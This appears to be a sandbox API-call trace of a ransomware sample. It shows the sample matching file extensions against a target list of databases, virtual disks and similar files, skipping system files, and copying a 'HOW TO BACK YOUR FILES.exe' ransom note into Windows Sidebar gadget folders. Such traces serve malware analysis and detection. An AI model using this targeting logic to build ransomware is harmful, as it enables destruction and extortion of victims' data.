	[0051.617] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.617] lstrlenW (lpString="vbox") returned 4
	[0051.617] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.617] lstrlenW (lpString="vdi") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.617] lstrlenW (lpString="vhd") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.617] lstrlenW (lpString="vhdx") returned 4
	[0051.617] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.617] lstrlenW (lpString="avhd") returned 4
	[0051.617] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.617] lstrlenW (lpString="db") returned 2
	[0051.617] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.617] lstrlenW (lpString="db2") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.617] lstrlenW (lpString="db3") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.617] lstrlenW (lpString="dbf") returned 3
	[0051.617] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.626] lstrlenW (lpString="mdf") returned 3
	[0051.626] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.626] lstrlenW (lpString="mdb") returned 3
	[0051.626] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.626] lstrlenW (lpString="sql") returned 3
	[0051.626] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.626] lstrlenW (lpString="sqlite") returned 6
	[0051.626] lstrcmpiW (lpString1="w.html", lpString2="sqlite") returned 1
	[0051.626] lstrlenW (lpString="sqlite3") returned 7
	[0051.626] lstrcmpiW (lpString1="ow.html", lpString2="sqlite3") returned -1
	[0051.626] lstrlenW (lpString="sqlitedb") returned 8
	[0051.626] lstrcmpiW (lpString1="how.html", lpString2="sqlitedb") returned -1
	[0051.626] lstrlenW (lpString="xml") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.627] lstrlenW (lpString="$er") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.627] lstrlenW (lpString="4dd") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.627] lstrlenW (lpString="4dl") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.627] lstrlenW (lpString="^^^") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.627] lstrlenW (lpString="abs") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.627] lstrlenW (lpString="abx") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.627] lstrlenW (lpString="accdb") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.627] lstrlenW (lpString="accdc") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.627] lstrlenW (lpString="accde") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.627] lstrlenW (lpString="accdr") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.627] lstrlenW (lpString="accdt") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.627] lstrlenW (lpString="accdw") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.627] lstrlenW (lpString="accft") returned 5
	[0051.627] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.627] lstrlenW (lpString="adb") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.627] lstrlenW (lpString="adb") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.627] lstrlenW (lpString="ade") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.627] lstrlenW (lpString="adf") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.627] lstrlenW (lpString="adn") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.627] lstrlenW (lpString="adp") returned 3
	[0051.627] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.627] lstrlenW (lpString="alf") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.628] lstrlenW (lpString="ask") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.628] lstrlenW (lpString="btr") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.628] lstrlenW (lpString="cat") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.628] lstrlenW (lpString="cdb") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.628] lstrlenW (lpString="ckp") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.628] lstrlenW (lpString="cma") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.628] lstrlenW (lpString="cpd") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.628] lstrlenW (lpString="dacpac") returned 6
	[0051.628] lstrcmpiW (lpString1="w.html", lpString2="dacpac") returned 1
	[0051.628] lstrlenW (lpString="dad") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.628] lstrlenW (lpString="dadiagrams") returned 10
	[0051.628] lstrcmpiW (lpString1="eShow.html", lpString2="dadiagrams") returned 1
	[0051.628] lstrlenW (lpString="daschema") returned 8
	[0051.628] lstrcmpiW (lpString1="how.html", lpString2="daschema") returned 1
	[0051.628] lstrlenW (lpString="db-journal") returned 10
	[0051.628] lstrcmpiW (lpString1="eShow.html", lpString2="db-journal") returned 1
	[0051.628] lstrlenW (lpString="db-shm") returned 6
	[0051.628] lstrcmpiW (lpString1="w.html", lpString2="db-shm") returned 1
	[0051.628] lstrlenW (lpString="db-wal") returned 6
	[0051.628] lstrcmpiW (lpString1="w.html", lpString2="db-wal") returned 1
	[0051.628] lstrlenW (lpString="dbc") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.628] lstrlenW (lpString="dbs") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.628] lstrlenW (lpString="dbt") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.628] lstrlenW (lpString="dbv") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.628] lstrlenW (lpString="dbx") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.628] lstrlenW (lpString="dcb") returned 3
	[0051.628] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.629] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js"
	[0051.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0051.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.629] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned 72
	[0051.629] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js"
	[0051.629] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.629] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.654] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.654] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36d899d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d899d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.654] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.654] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.654] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.654] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36d899d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d899d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.654] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.654] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.654] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.654] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.654] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d899d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36d899d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.654] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.654] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="Apollon865.txt.exe") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2=".") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="..") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="windows") returned -1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="bootmgr") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="temp") returned -1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="pagefile.sys") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="boot") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="ids.txt") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="ntuser.dat") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="perflogs") returned 1
	[0051.654] lstrcmpiW (lpString1="slideShow.js", lpString2="MSBuild") returned 1
	[0051.654] lstrlenW (lpString="slideShow.js") returned 12
	[0051.654] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*") returned 74
	[0051.654] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="slideShow.js" | out: lpString1="slideShow.js") returned="slideShow.js"
	[0051.654] lstrlenW (lpString="slideShow.js") returned 12
	[0051.654] lstrlenW (lpString="Apollon865") returned 10
	[0051.654] lstrcmpiW (lpString1="ideShow.js", lpString2="Apollon865") returned 1
	[0051.655] lstrlenW (lpString=".dll") returned 4
	[0051.655] lstrcmpiW (lpString1="slideShow.js", lpString2=".dll") returned 1
	[0051.655] lstrlenW (lpString=".lnk") returned 4
	[0051.655] lstrcmpiW (lpString1="slideShow.js", lpString2=".lnk") returned 1
	[0051.655] lstrlenW (lpString=".ini") returned 4
	[0051.655] lstrcmpiW (lpString1="slideShow.js", lpString2=".ini") returned 1
	[0051.655] lstrlenW (lpString=".sys") returned 4
	[0051.655] lstrcmpiW (lpString1="slideShow.js", lpString2=".sys") returned 1
	[0051.655] lstrlenW (lpString="slideShow.js") returned 12
	[0051.655] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css"
	[0051.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0051.655] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned 73
	[0051.655] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css"
	[0051.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.659] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36dd5c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.659] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.659] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.659] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.659] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36dd5c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.659] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.659] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.659] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.659] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.659] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dd5c90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.659] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2="Apollon865.txt.exe") returned 1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1
	[0051.659] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="temp") returned -1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="pagefile.sys") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="boot") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="ids.txt") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="perflogs") returned 1
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2="MSBuild") returned 1
	[0051.660] lstrlenW (lpString="settings.css") returned 12
	[0051.660] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*") returned 75
	[0051.660] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0051.660] lstrlenW (lpString="settings.css") returned 12
	[0051.660] lstrlenW (lpString="Apollon865") returned 10
	[0051.660] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0051.660] lstrlenW (lpString=".dll") returned 4
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0051.660] lstrlenW (lpString=".lnk") returned 4
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0051.660] lstrlenW (lpString=".ini") returned 4
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0051.660] lstrlenW (lpString=".sys") returned 4
	[0051.660] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0051.660] lstrlenW (lpString="settings.css") returned 12
	[0051.660] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="slideShow.css" | out: lpString1="slideShow.css") returned="slideShow.css"
	[0051.660] lstrlenW (lpString="slideShow.css") returned 13
	[0051.660] lstrlenW (lpString="Apollon865") returned 10
	[0051.660] lstrcmpiW (lpString1="deShow.css", lpString2="Apollon865") returned 1
	[0051.660] lstrlenW (lpString=".dll") returned 4
	[0051.660] lstrcmpiW (lpString1="slideShow.css", lpString2=".dll") returned 1
	[0051.660] lstrlenW (lpString=".lnk") returned 4
	[0051.660] lstrcmpiW (lpString1="slideShow.css", lpString2=".lnk") returned 1
	[0051.660] lstrlenW (lpString=".ini") returned 4
	[0051.660] lstrcmpiW (lpString1="slideShow.css", lpString2=".ini") returned 1
	[0051.660] lstrlenW (lpString=".sys") returned 4
	[0051.660] lstrcmpiW (lpString1="slideShow.css", lpString2=".sys") returned 1
	[0051.660] lstrlenW (lpString="slideShow.css") returned 13
	[0051.661] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget"
	[0051.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0051.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0051.661] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned 62
	[0051.661] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget"
	[0051.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.669] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.669] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36dd5c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.669] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.669] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.669] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.669] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36dd5c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.669] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.669] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.669] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.669] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.670] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb96990, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb96990, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc45e1fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0051.670] lstrlenW (lpString="drag.png") returned 8
	[0051.670] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*") returned 64
	[0051.670] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0051.670] lstrlenW (lpString="drag.png") returned 8
	[0051.670] lstrlenW (lpString="Apollon865") returned 10
	[0051.670] lstrlenW (lpString=".dll") returned 4
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0051.670] lstrlenW (lpString=".lnk") returned 4
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0051.670] lstrlenW (lpString=".ini") returned 4
